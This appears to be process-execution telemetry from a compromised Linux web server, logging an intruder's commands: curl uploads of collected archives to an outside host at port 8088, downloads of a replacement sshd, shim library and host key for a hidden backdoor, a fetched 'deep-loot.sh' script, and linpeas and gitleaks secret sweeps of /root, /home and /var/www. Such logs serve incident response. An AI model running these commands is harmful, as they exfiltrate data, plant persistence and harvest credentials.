| 2026-10-31 01:29:11 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | find . -type f ! -name manifest.tsv -print0 |
| 2026-10-31 01:29:11 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | find /tmp/<REDACTED>-20261031/git -maxdepth 1 -mindepth 1 -type d |
| 2026-10-31 01:29:16 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | dropbear -> dropbear | bash -c ls -l /tmp/<REDACTED>-20261031/*.tsv 2>&1; ps -eo pid,etime,args | grep -E "collect|tar" | grep -v grep ; ls -l /tmp/<REDACTED>-20261031/04-sockets.tsv /tmp/<REDACTED>-20261031/17-sessions.tsv /tmp/<REDACTED>-20261031/18-uploads.tsv /tmp/<REDACTED>-20261031/configs.tsv /tmp/<REDACTED>-20261031/files.tsv /tmp/<REDACTED>-20261031/manifest.tsv /tmp/<REDACTED>-20261031/meta.tsv ; ps -eo pid,etime,args ; grep -E collect|tar ; grep -v grep |
| 2026-10-31 01:29:16 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | curl -sS --max-time 180 -o /dev/null -w %{http_code} -X POST --data-binary @/tmp/<REDACTED>-20261031.tgz http://206.245.153.56:8088/1425/<REDACTED>-20261031.tgz |
| 2026-10-31 01:29:18 | Not attributed | Not attributed | bash -> bash | curl -sS -o sshd http://206.245.153.56:8088/j485/sshd |
| 2026-10-31 01:29:26 | Not attributed | Not attributed | bash -> bash | curl -sS -o hostkey http://206.245.153.56:8088/j485/hostkey_j485 |
| 2026-10-31 01:29:26 | Not attributed | Not attributed | bash -> bash | curl -sS -o shim.so http://206.245.153.56:8088/j485/shim.so |
| 2026-10-31 01:29:38 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | ls -la /tmp/<REDACTED>-20261031 /tmp/<REDACTED>-20261031.tgz |
| 2026-10-31 01:29:46 | Not attributed | Not attributed | bash -> bash | ls -l |
| 2026-10-31 01:29:46 | Not attributed | Not attributed | bash -> bash | chmod 755 sshd shim.so |
| 2026-10-31 01:29:53 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | dropbear -> dropbear | bash -c wc -l /tmp/<REDACTED>-20261031/meta.tsv; tail -3 /tmp/<REDACTED>-20261031/meta.tsv; ps -o pid,stat,etime -p 390; ls -l /proc/390/fd 2>/dev/null | tail -5 ; wc -l /tmp/<REDACTED>-20261031/meta.tsv ; tail -3 /tmp/<REDACTED>-20261031/meta.tsv ; ps -o pid,stat,etime -p 390 ; ls -l /proc/390/fd ; tail -5 |
| 2026-10-31 01:30:02 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | dropbear -> dropbear | bash -c ls -l /tmp/*.tgz 2>&1; ps aux | grep -c collect ; ls -l /tmp/<REDACTED>-20261031.tgz ; ps aux ; grep -c collect |
| 2026-10-31 01:30:09 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | curl -sS -o /tmp/deep-loot.sh http://206.245.153.56:8088/tools/deep-loot.sh |
| 2026-10-31 01:30:23 | Not attributed | Not attributed | bash -> bash | chmod 700 ak ak/www-data |
| 2026-10-31 01:30:23 | Not attributed | Not attributed | bash -> bash | ls -l |
| 2026-10-31 01:30:28 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | curl -s -o /dev/null -w %{http_code} -X POST --data-binary @/tmp/<REDACTED>-deep.tgz http://206.245.153.56:8088/1425/<REDACTED>-deep.tgz |
| 2026-10-31 01:30:28 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | timeout -> timeout | sh -c curl -sSL --max-time 100 -o '/tmp/.loot-tools/linpeas.sh' https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.sh ; sh -c curl -sSL --max-time 100 -o '/tmp/.loot-tools/linpeas.sh' https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.sh ; sh -c curl -sSL --max-time 100 -o '/tmp/.loot-tools/linpeas.sh' https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.sh ; sh -c curl -sSL --max-time 100 -o '/tmp/.loot-tools/linpeas.sh' https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.sh |
| 2026-10-31 01:30:28 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | timeout 120 sh -c curl -sSL --max-time 100 -o '/tmp/.loot-tools/linpeas.sh' https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.sh |
| 2026-10-31 01:30:28 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | curl -sSL --max-time 100 -o /tmp/.loot-tools/linpeas.sh https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.sh |
| 2026-10-31 01:30:28 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | curl -sSL --max-time 150 -o /tmp/.loot-tools/gl.tgz https://github.com/gitleaks/gitleaks/releases/download/v8.30.1/gitleaks_8.30.1_linux_x64.tar.gz |
| 2026-10-31 01:30:28 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | find /tmp/<REDACTED>-deep -maxdepth 1 -name gitleaks-*.json -size +2c |
| 2026-10-31 01:30:28 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | find /tmp/<REDACTED>-deep -maxdepth 1 -type f -printf %P %s
|
| 2026-10-31 01:30:28 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | timeout -> timeout | sh -c curl -sSL --max-time 150 -o '/tmp/.loot-tools/gl.tgz' https://github.com/gitleaks/gitleaks/releases/download/v8.30.1/gitleaks_8.30.1_linux_x64.tar.gz && tar xzf '/tmp/.loot-tools/gl.tgz' -C '/tmp/.loot-tools' && chmod +x '/tmp/.loot-tools/gitleaks' ; sh -c curl -sSL --max-time 150 -o '/tmp/.loot-tools/gl.tgz' https://github.com/gitleaks/gitleaks/releases/download/v8.30.1/gitleaks_8.30.1_linux_x64.tar.gz && tar xzf '/tmp/.loot-tools/gl.tgz' -C '/tmp/.loot-tools' && chmod +x '/tmp/.loot-tools/gitleaks' ; sh -c curl -sSL --max-time 150 -o '/tmp/.loot-tools/gl.tgz' https://github.com/gitleaks/gitleaks/releases/download/v8.30.1/gitleaks_8.30.1_linux_x64.tar.gz && tar xzf '/tmp/.loot-tools/gl.tgz' -C '/tmp/.loot-tools' && chmod +x '/tmp/.loot-tools/gitleaks' ; sh -c curl -sSL --max-time 150 -o '/tmp/.loot-tools/gl.tgz' https://github.com/gitleaks/gitleaks/releases/download/v8.30.1/gitleaks_8.30.1_linux_x64.tar.gz && tar xzf '/tmp/.loot-tools/gl.tgz' -C '/tmp/.loot-tools' && chmod +x '/tmp/.loot-tools/gitleaks' |
| 2026-10-31 01:30:28 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | sh /tmp/deep-loot.sh -i 1425 -n <REDACTED>-deep -l |
| 2026-10-31 01:30:28 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | mkdir -p /tmp/<REDACTED>-deep /tmp/.loot-tools /tmp/.loot-home |
| 2026-10-31 01:30:28 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | timeout 180 sh -c curl -sSL --max-time 150 -o '/tmp/.loot-tools/gl.tgz' https://github.com/gitleaks/gitleaks/releases/download/v8.30.1/gitleaks_8.30.1_linux_x64.tar.gz && tar xzf '/tmp/.loot-tools/gl.tgz' -C '/tmp/.loot-tools' && chmod +x '/tmp/.loot-tools/gitleaks' |
| 2026-10-31 01:30:38 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | ls -l /tmp/<REDACTED>-deep |
| 2026-10-31 01:31:02 | Not attributed | Not attributed | bash -> bash | ls -l /var/log/apache2/.j/sshd.pid |
| 2026-10-31 01:31:02 | Not attributed | Not attributed | bash -> bash | pgrep -af sshd |
| 2026-10-31 01:31:48 | 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | mkdir -p /tmp/.loot-tools ; curl -sS -o /tmp/.loot-tools/gitleaks http://206.245.153.56:8088/tools/j490/gl/gitleaks ; bash -c mkdir -p /tmp/.loot-tools; curl -sS -o /tmp/.loot-tools/gitleaks http://206.245.153.56:8088/tools/j490/gl/gitleaks && chmod +x /tmp/.loot-tools/gitleaks && /tmp/.loot-tools/gitleaks version ; chmod +x /tmp/.loot-tools/gitleaks ; /tmp/.loot-tools/gitleaks version |
| 2026-10-31 01:31:50 | Not attributed | Not attributed | bash -> bash | curl -sS -o libwrap.so.0.7.6 http://206.245.153.56:8088/j485/libwrap.so.0.7.6 |
| 2026-10-31 01:32:42 | Not attributed | Not attributed | bash -> bash | chmod 755 libwrap.so.0.7.6 |
| 2026-10-31 01:32:42 | Not attributed | Not attributed | bash -> bash | curl -sS -o libnsl.so.2 http://206.245.153.56:8088/j485/libnsl.so.2.0.1 |
| 2026-10-31 01:32:42 | Not attributed | Not attributed | bash -> bash | curl -sS -o libwrap.so.0 http://206.245.153.56:8088/j485/libwrap.so.0 |
| 2026-10-31 01:33:27 | Not attributed | Not attributed | bash -> bash | chmod 755 libnsl.so.2 |
| 2026-10-31 01:33:27 | Not attributed | Not attributed | bash -> bash | curl -sS -o libtirpc.so.3 http://206.245.153.56:8088/j485/libtirpc.so.3 |
| 2026-10-31 01:33:53 | Not attributed | Not attributed | bash -> bash | chmod 755 libtirpc.so.3 |
| 2026-10-31 01:34:20 | 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent | dropbear -> dropbear | bash -c ls -l /tmp/.loot-tools; echo AA; /tmp/.loot-tools/gitleaks version; echo AB ; ls -l /tmp/.loot-tools ; /tmp/.loot-tools/gitleaks version |
| 2026-10-31 01:34:29 | 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | sh /tmp/deep-loot.sh -i 1425 -n <REDACTED>-deep2 -l |
| 2026-10-31 01:34:33 | 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | find /var/www /home /opt /srv -xdev -type d -name .git -prune |
| 2026-10-31 01:34:33 | 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | find /tmp/<REDACTED>-deep2 -maxdepth 1 -name gitleaks-*.json -size +2c |
| 2026-10-31 01:34:33 | 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | /tmp/.loot-tools/gitleaks dir /srv --no-banner --no-color --report-format json --report-path /tmp/<REDACTED>-deep2/gitleaks-srv.json --max-target-megabytes 2 --exit-code 0 --timeout 120 |
| 2026-10-31 01:34:33 | 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | timeout 180 sh -c '/tmp/.loot-tools/gitleaks' dir '/root' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-root.json' --max-target-megabytes 2 --exit-code 0 --timeout 120 |
| 2026-10-31 01:34:33 | 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | timeout 180 sh -c '/tmp/.loot-tools/gitleaks' dir '/opt' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-opt.json' --max-target-megabytes 2 --exit-code 0 --timeout 120 |
| 2026-10-31 01:34:33 | 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | timeout 180 sh -c '/tmp/.loot-tools/gitleaks' dir '/srv' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-srv.json' --max-target-megabytes 2 --exit-code 0 --timeout 120 |
| 2026-10-31 01:34:33 | 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | /tmp/.loot-tools/gitleaks dir /home --no-banner --no-color --report-format json --report-path /tmp/<REDACTED>-deep2/gitleaks-home.json --max-target-megabytes 2 --exit-code 0 --timeout 120 |
| 2026-10-31 01:34:33 | 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent | timeout -> timeout | sh -c '/tmp/.loot-tools/gitleaks' dir '/root' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-root.json' --max-target-megabytes 2 --exit-code 0 --timeout 120 ; sh -c '/tmp/.loot-tools/gitleaks' dir '/root' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-root.json' --max-target-megabytes 2 --exit-code 0 --timeout 120 ; sh -c '/tmp/.loot-tools/gitleaks' dir '/root' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-root.json' --max-target-megabytes 2 --exit-code 0 --timeout 120 ; sh -c '/tmp/.loot-tools/gitleaks' dir '/root' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-root.json' --max-target-megabytes 2 --exit-code 0 --timeout 120 |
| 2026-10-31 01:34:33 | 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent | timeout -> timeout | sh -c '/tmp/.loot-tools/gitleaks' dir '/opt' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-opt.json' --max-target-megabytes 2 --exit-code 0 --timeout 120 ; sh -c '/tmp/.loot-tools/gitleaks' dir '/opt' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-opt.json' --max-target-megabytes 2 --exit-code 0 --timeout 120 ; sh -c '/tmp/.loot-tools/gitleaks' dir '/opt' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-opt.json' --max-target-megabytes 2 --exit-code 0 --timeout 120 ; sh -c '/tmp/.loot-tools/gitleaks' dir '/opt' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-opt.json' --max-target-megabytes 2 --exit-code 0 --timeout 120 |
| 2026-10-31 01:34:33 | 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | /tmp/.loot-tools/gitleaks dir /root --no-banner --no-color --report-format json --report-path /tmp/<REDACTED>-deep2/gitleaks-root.json --max-target-megabytes 2 --exit-code 0 --timeout 120 |
| 2026-10-31 01:34:33 | 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent | timeout -> timeout | sh -c '/tmp/.loot-tools/gitleaks' dir '/srv' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-srv.json' --max-target-megabytes 2 --exit-code 0 --timeout 120 ; sh -c '/tmp/.loot-tools/gitleaks' dir '/srv' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-srv.json' --max-target-megabytes 2 --exit-code 0 --timeout 120 ; sh -c '/tmp/.loot-tools/gitleaks' dir '/srv' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-srv.json' --max-target-megabytes 2 --exit-code 0 --timeout 120 ; sh -c '/tmp/.loot-tools/gitleaks' dir '/srv' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-srv.json' --max-target-megabytes 2 --exit-code 0 --timeout 120 |
| 2026-10-31 01:34:33 | 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | /tmp/.loot-tools/gitleaks dir /opt --no-banner --no-color --report-format json --report-path /tmp/<REDACTED>-deep2/gitleaks-opt.json --max-target-megabytes 2 --exit-code 0 --timeout 120 |
| 2026-10-31 01:34:33 | 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | mkdir -p /tmp/<REDACTED>-deep2 /tmp/.loot-tools /tmp/.loot-home |
| 2026-10-31 01:34:33 | 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent | timeout -> timeout | sh -c '/tmp/.loot-tools/gitleaks' dir '/var/www/html' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-dir.json' --max-target-megabytes 2 --exit-code 0 --timeout 180 ; sh -c '/tmp/.loot-tools/gitleaks' dir '/var/www/html' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-dir.json' --max-target-megabytes 2 --exit-code 0 --timeout 180 ; sh -c '/tmp/.loot-tools/gitleaks' dir '/var/www/html' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-dir.json' --max-target-megabytes 2 --exit-code 0 --timeout 180 ; sh -c '/tmp/.loot-tools/gitleaks' dir '/var/www/html' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-dir.json' --max-target-megabytes 2 --exit-code 0 --timeout 180 |
| 2026-10-31 01:34:33 | 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | timeout 240 sh -c '/tmp/.loot-tools/gitleaks' dir '/var/www/html' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-dir.json' --max-target-megabytes 2 --exit-code 0 --timeout 180 |
| 2026-10-31 01:34:33 | 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | timeout 180 sh -c '/tmp/.loot-tools/gitleaks' dir '/home' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-home.json' --max-target-megabytes 2 --exit-code 0 --timeout 120 |
| 2026-10-31 01:34:33 | 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent | timeout -> timeout | sh -c '/tmp/.loot-tools/gitleaks' dir '/home' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-home.json' --max-target-megabytes 2 --exit-code 0 --timeout 120 ; sh -c '/tmp/.loot-tools/gitleaks' dir '/home' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-home.json' --max-target-megabytes 2 --exit-code 0 --timeout 120 ; sh -c '/tmp/.loot-tools/gitleaks' dir '/home' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-home.json' --max-target-megabytes 2 --exit-code 0 --timeout 120 ; sh -c '/tmp/.loot-tools/gitleaks' dir '/home' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-home.json' --max-target-megabytes 2 --exit-code 0 --timeout 120 |
| 2026-10-31 01:34:33 | 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | /tmp/.loot-tools/gitleaks dir /var/www/html --no-banner --no-color --report-format json --report-path /tmp/<REDACTED>-deep2/gitleaks-dir.json --max-target-megabytes 2 --exit-code 0 --timeout 180 |
| 2026-10-31 01:34:35 | Not attributed | Not attributed | bash -> bash | grep 42422 /proc/net/tcp |
| 2026-10-31 01:34:35 | Not attributed | Not attributed | bash -> bash | ls -l /var/log/apache2/.j/sshd.pid |
| 2026-10-31 01:34:35 | Not attributed | Not attributed | bash -> bash | grep -c . /proc/net/tcp |
| 2026-10-31 01:34:57 | 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | find /tmp/<REDACTED>-deep2 -maxdepth 1 -type f -printf %P %s
|
